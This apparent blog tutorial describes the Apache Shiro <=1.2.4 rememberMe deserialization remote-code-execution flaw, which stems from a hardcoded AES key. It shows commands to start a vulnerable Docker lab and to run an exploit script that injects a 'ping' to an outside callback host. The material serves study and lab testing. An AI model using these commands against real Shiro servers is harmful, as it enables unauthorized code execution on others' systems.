1. 程式人生 > 實用技巧 >Apache Shiro<=1.2.4反序列化RCE漏洞

Apache Shiro<=1.2.4反序列化RCE漏洞

版本:Apache Shiro<=1.2.4

介紹:Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。

漏洞原因:因為shiro對cookie裡的rememberme欄位進行了反序列化,所以如果知道了shiro的編碼方式,然後將惡意命令用它的編碼方式進行編碼並放在http頭的cookie裡,在shiro對提交的cookie的rememberme欄位進行反序列化時,也就執行了插入的命令,最終造成了命令執行

shiro預設使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化

然而AES的金鑰是硬編碼的,就導致了攻擊者可以構造惡意資料造成反序列化的RCE漏洞。


漏洞驗證:

漏洞利用:

利用工具:https://github.com/sv3nbeast/ShiroScan

如果沒有該映象的話可以去在docker裡面拉取環境docker pull medicean/vulapps:s_shiro_1,已經有人準備好了的

1、sudo docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

2、python shiro_rce.py http://192.168.1.143 "ping 0wtpsg.ceye.io"

參考文章:https://www.t00ls.net/viewthread.php?tid=52744&highlight=shiro